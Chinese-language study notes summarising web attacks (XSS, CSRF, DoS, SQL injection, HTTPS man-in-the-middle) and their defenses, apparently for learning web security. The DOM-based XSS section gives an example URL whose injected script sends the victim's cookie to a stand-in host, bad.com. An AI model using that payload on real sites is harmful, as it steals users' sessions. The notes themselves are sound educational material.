# 攻击
# XSS
XSS,Cross Site Scripting(跨站脚本攻击),是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如js), 当用户浏览此网页时,脚本就会在用户的浏览器上执行。
# XSS 攻击场景
- DOM-Based XSS 攻击
就是通过在 DOM 中插入恶意脚本。比如一个页面 xxx.com 把链接的 a 参数直接放入 DOM 中,那么攻击者可以修改这个链接为
http://xxx.com?a=<script>window.open('http://bad.com?cookie='+document.cookie)</script>
用户点击了这个链接就会带着用户的 cookie 数据跳转到攻击者的网页。
- Stored XSS 攻击
这种攻击影响较大,攻击者会将攻击脚本上传到 web 服务器上,使得所有访问该页面得用户都会被攻击。
# XSS 防御
最好的防御方法就是不相信用户的输入。
将重要的 cookie 标记为 http only,这样 js 就不能操作 cookie 了
对数据进行 encode 编码处理,过滤 html 、js 标签
# CSRF
CSRF,Cross-site request forgery(跨站请求伪造),攻击者盗用了你的身份,以你的名义发送恶意请求。
# CSRF 攻击场景
钓鱼网站
用户登录了 A 页面,然后又打开了攻击者的 B 页面,攻击者 B 以 A 的名义向服务端发送了一些攻击类型的请求
# CSRF 防御
cookie 写入随机数据进行验证,因为跨域问题,一般情况下攻击者无法拿到被攻击者的 cookie,但是可能会被 XSS 攻击拿到
验证 HTTP Referer 字段
请求时加一个 token,服务端校验
# DOS 攻击
DOS,阻断服务攻击,想办法目标网络资源用尽,消耗目标的带宽和计算资源。
# DOS 防御
- 防火墙
- 交换机(路由器)
- 流量清洗
# SQL 注入
通过输入 SQL 命令操作数据库
# SQL 注入防御
输入过滤(转义)数据库安全策略
# HTTPS 中间人攻击
黑客在电脑上安装伪造的证书,拦截客户端的请求
# HTTPS 中间人防御
不要安装来源不明的证书